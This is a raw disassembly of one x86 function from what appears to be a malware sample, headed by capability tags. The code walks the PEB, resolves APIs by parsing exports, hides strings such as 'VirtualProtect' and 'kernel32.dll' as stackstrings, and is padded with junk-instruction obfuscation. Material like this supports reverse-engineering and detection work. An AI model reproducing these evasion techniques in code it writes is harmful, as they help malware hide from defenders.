Function at 0x417248
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x778]
add edx, 1
mov dword [ebp - 0x778], edx
mov eax, dword [ebp - 0x774]
mov ecx, dword [ebp - 0x778]
cmp ecx, dword [eax + 0x18]
jae 0x416c2c
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x19b8]
mov ecx, dword [ebp - 0x398]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x77c], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x19bc]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19c0]
mov eax, dword [ebp - 0x398]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19c4], eax
mov dword [ebp - 0x120], 0
jmp 0x416a90
mov ecx, dword [ebp - 0x120]
add ecx, 1
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x77c]
add edx, dword [ebp - 0x120]
movsx eax, byte [edx]
test eax, eax
je 0x416b42
mov ecx, dword [ebp - 0x120]
movsx edx, byte [ebp + ecx - 0x890]
test edx, edx
je 0x416b42
push ebx
jmp 0x416ac3
and ebx, 0xe2c4
pop ebx
push eax
push eax
add esp, 4
xor eax, 0x13673
or eax, 0xad81
and eax, 0xd5eb
pop eax
push edx
jmp 0x416ae8
sub edx, 0x14f81
pop edx
mov eax, dword [ebp - 0x77c]
add eax, dword [ebp - 0x120]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x120]
movsx eax, byte [ebp + edx - 0x890]
cmp ecx, eax
je 0x416b34
mov ecx, dword [ebp - 0x77c]
add ecx, dword [ebp - 0x120]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x120]
movsx ecx, byte [ebp + eax - 0x890]
cmp edx, ecx
jne 0x416b3b
jmp 0x416a81
jmp 0x416b42
push ebx
and ebx, 0x5873
pop ebx
push edi
and edi, 0x3a4a
or edi, 0xf93
pop edi
push edx
or edx, 0x339f
xor edx, 0x142be
pop edx
push esi
or esi, 0xb5a2
and esi, 0x10280
pop esi
mov edx, dword [ebp - 0x77c]
add edx, dword [ebp - 0x120]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x120]
movsx edx, byte [ebp + ecx - 0x890]
cmp eax, edx
jne 0x416ba1
mov dword [ebp - 0xcd4], 0
jmp 0x416c10
push ecx
sub ecx, 0xe704
xor ecx, 0x483
or ecx, 0x537
add ecx, 0xb69e
pop ecx
push edx
push edx
add esp, 4
or edx, 0x17ad7
xor edx, 0x3442
and edx, 0xebf0
pop edx
mov eax, dword [ebp - 0x77c]
add eax, dword [ebp - 0x120]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x120]
movsx eax, byte [ebp + edx - 0x890]
or eax, 0x20
cmp dword [ebp - 0xcd4], 0
jne 0x416c27
mov ecx, dword [ebp - 0x19c4]
mov dword [ebp - 0x44c], ecx
jmp 0x416c38
jmp 0x416a11
mov edx, dword [ebp - 0x780]
mov dword [ebp - 0x44c], edx
mov eax, dword [ebp - 0x44c]
mov dword [ebp - 0x7ac], eax
push edi
call 0x416c53
add byte [ebx + 0x39], cl
dec edi
dec ebx
cmp al, byte [edi + 0x37]
cmp eax, dword [ebx - 0x387efb3c]
mov ah, 0xe8
add byte [eax], al
add edi, 0x13600
pop edi
push edx
push ecx
add esp, 4
jmp 0x416c6f
sub edx, 0x163a0
pop edx
mov ecx, dword [ebp - 0x408]
add ecx, 0xe
mov dword [ebp - 0x1a14], ecx
push ebx
xor ebx, 0x1180d
add ebx, 0x4e2a
or ebx, 0xcf2
pop ebx
push ebx
push ecx
add esp, 4
and ebx, 0x8d33
jmp 0x416ca9
add ebx, 0x1406f
jmp 0x416cb6
pop ebx
cmp dword [ebp - 0x408], 0
je 0x416cc9
cmp dword [ebp - 0xae8], 0
jne 0x416d0f
push edx
jmp 0x416cd0
pop edx
push esi
push ecx
add esp, 4
or esi, 0xfafa
add esi, 0x13fef
or esi, 0x14acf
pop esi
push edi
push edx
add esp, 4
xor edi, 0x14e65
or edi, 0x89d1
pop edi
mov edx, dword [ebp - 0x7ac]
mov dword [ebp - 0x19c8], edx
push 0
call dword [ebp - 0x19c8]
mov dword [ebp - 0x2050], 0xa
push ecx
push esi
add esp, 4
or ecx, 0x136a1
pop ecx
push ecx
push eax
add esp, 4
jmp 0x416d2f
pop ecx
push ecx
jmp 0x416d38
and ecx, 0x113e9
or ecx, 0x9ab4
sub ecx, 0xbd99
pop ecx
mov eax, dword [ebp - 0x408]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3c2], cl
mov edx, dword [ebp - 0xae8]
sub edx, dword [ebp - 0x408]
mov dword [ebp - 0x16c0], edx
mov dword [ebp - 0xd04], 0
push edi
or edi, 0x1227b
jmp 0x416d85
pop edi
push edi
and edi, 0x4bf5
pop edi
push eax
push eax
add esp, 4
or eax, 0xa640
add eax, 0xabb0
pop eax
push esi
sub esi, 0x9e94
pop esi
mov byte [ebp - 0x9f4], 0x56
mov byte [ebp - 0x9f3], 0x69
mov byte [ebp - 0x9f2], 0x72
mov byte [ebp - 0x9f1], 0x74
mov byte [ebp - 0x9f0], 0x75
mov byte [ebp - 0x9ef], 0x61
mov byte [ebp - 0x9ee], 0x6c
mov byte [ebp - 0x9ed], 0x50
mov byte [ebp - 0x9ec], 0x72
mov byte [ebp - 0x9eb], 0x6f
mov byte [ebp - 0x9ea], 0x74
mov byte [ebp - 0x9e9], 0x65
mov byte [ebp - 0x9e8], 0x63
mov byte [ebp - 0x9e7], 0x74
mov byte [ebp - 0x9e6], 0
push eax
push esi
add esp, 4
xor eax, 0xf00
sub eax, 0x1ffa
add eax, 0x101b4
pop eax
push ebx
add ebx, 0x117f8
or ebx, 0x18503
and ebx, 0xc9a8
or ebx, 0x159d3
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19cc], eax
mov ecx, dword [ebp - 0x19cc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19d0], edx
mov eax, dword [ebp - 0x19d0]
mov dword [ebp - 0x1634], eax
push ecx
and ecx, 0x11933
pop ecx
push edi
call 0x416e83
add byte [esi + 0x45], al
dec eax
cmp byte [esp + ecx*2], dh
push eax
inc edx
cmp cl, byte [eax - 0x7d]
les eax, [ecx + eax*4]
div dword [edi - 6]
add byte [eax], al
jmp 0x416e95
sub edi, 0x6f4f
pop edi
cmp dword [ebp - 0x1634], 0
jne 0x416eb4
mov dword [ebp - 0x2fc], 0
jmp 0x41715b
mov ecx, dword [ebp - 0x1634]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xce0], eax
push edi
push ecx
add esp, 4
and edi, 0xb6ce
add edi, 0xeb07
pop edi
push edx
push edi
add esp, 4
and edx, 0x840a
and edx, 0x14e5b
add edx, 0x16ce3
pop edx
push ebx
add ebx, 0x4233
pop ebx
cmp dword [ebp - 0xce0], 0
jne 0x416f10
mov dword [ebp - 0x2fc], 0
jmp 0x41715b
mov ecx, dword [ebp - 0xce0]
mov dword [ebp - 0x448], ecx
push ecx
push eax
add esp, 4
or ecx, 0xb14c
or ecx, 0xc9ef
or ecx, 0x18289
pop ecx
push ecx
add ecx, 0x3530
sub ecx, 0xbf5b
and ecx, 0xb5e
sub ecx, 0xdaf4
pop ecx
lea edx, [ebp - 0x1770]
mov dword [ebp - 0xcdc], edx
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcd8], ecx
xor edx, edx
mov word [ebp - 0x1c8], dx
xor eax, eax
mov word [ebp - 0x34], ax
push eax
call 0x416f88
add byte [eax], bh
inc edx
dec esi
inc edx
dec ecx
dec edi
inc edi
add esp, 4
pop eax
push ecx
sub ecx, 0x16db4
call 0x416fa0
add byte [ebx + 0x44], al
xor edi, dword [ebx]
inc ebx
cmp eax, 0x4c48345
sub ecx, 0x7f5e
pop ecx
mov ecx, dword [ebp - 0xcd8]
mov dx, word [ecx]
mov word [ebp - 0x1066], dx
mov eax, dword [ebp - 0xcd8]
add eax, 2
mov dword [ebp - 0xcd8], eax
mov cx, word [ebp - 0x1066]
mov word [ebp - 0x1c8], cx
mov edx, dword [ebp - 0xcdc]
mov ax, word [edx]
mov word [ebp - 0x1068], ax
mov ecx, dword [ebp - 0xcdc]
add ecx, 2
mov dword [ebp - 0xcdc], ecx
mov dx, word [ebp - 0x1068]
mov word [ebp - 0x34], dx
push ecx
call 0x41700e
add byte [eax + 0x3c], cl
dec ecx
inc edx
xor eax, 0x4c48336
pop ecx
push esi
push ebx
add esp, 4
or esi, 0xddc5
call 0x417173
add byte [edx + ecx*2], dh
dec edi
dec edx
dec ecx
aaa
add esp, 4
pop esi
push esi
add esi, 0x4893
or esi, 0x766
pop esi
push edx
add edx, 0x283e
pop edx
cmp dword [ebp - 0x2fc], 0
jne 0x417a92
mov eax, 0x6b
mov word [ebp - 0x17c8], ax
mov ecx, 0x65
mov word [ebp - 0x17c6], cx
mov edx, 0x72
mov word [ebp - 0x17c4], dx
mov eax, 0x6e
mov word [ebp - 0x17c2], ax
mov ecx, 0x65
mov word [ebp - 0x17c0], cx
mov edx, 0x6c
mov word [ebp - 0x17be], dx
mov eax, 0x33
mov word [ebp - 0x17bc], ax
mov ecx, 0x32
mov word [ebp - 0x17ba], cx
mov edx, 0x2e
mov word [ebp - 0x17b8], dx
mov eax, 0x64
mov word [ebp - 0x17b6], ax
mov ecx, 0x6c
mov word [ebp - 0x17b4], cx
mov edx, 0x6c
mov word [ebp - 0x17b2], dx
xor eax, eax
mov word [ebp - 0x17b0], ax
push edi
push edi
add esp, 4
call 0x417248
add byte [eax + 0x3d], cl
dec ebp
inc esp
cmp esi, dword [esi]
inc ebx
cmp eax, 0xc4833a41
add al, 0x5f
push edi
push ecx
add esp, 4
call 0x417261
add byte [esi], dh
dec ebp
xor al, 0x4c
cmp dword [edx], esi
cmp al, 0x43
dec eax
add esp, 4
pop edi
mov byte [ebp - 0x8cc], 0x4c
mov byte [ebp - 0x8cb], 0x6f
mov byte [ebp - 0x8ca], 0x61
invalid
invalid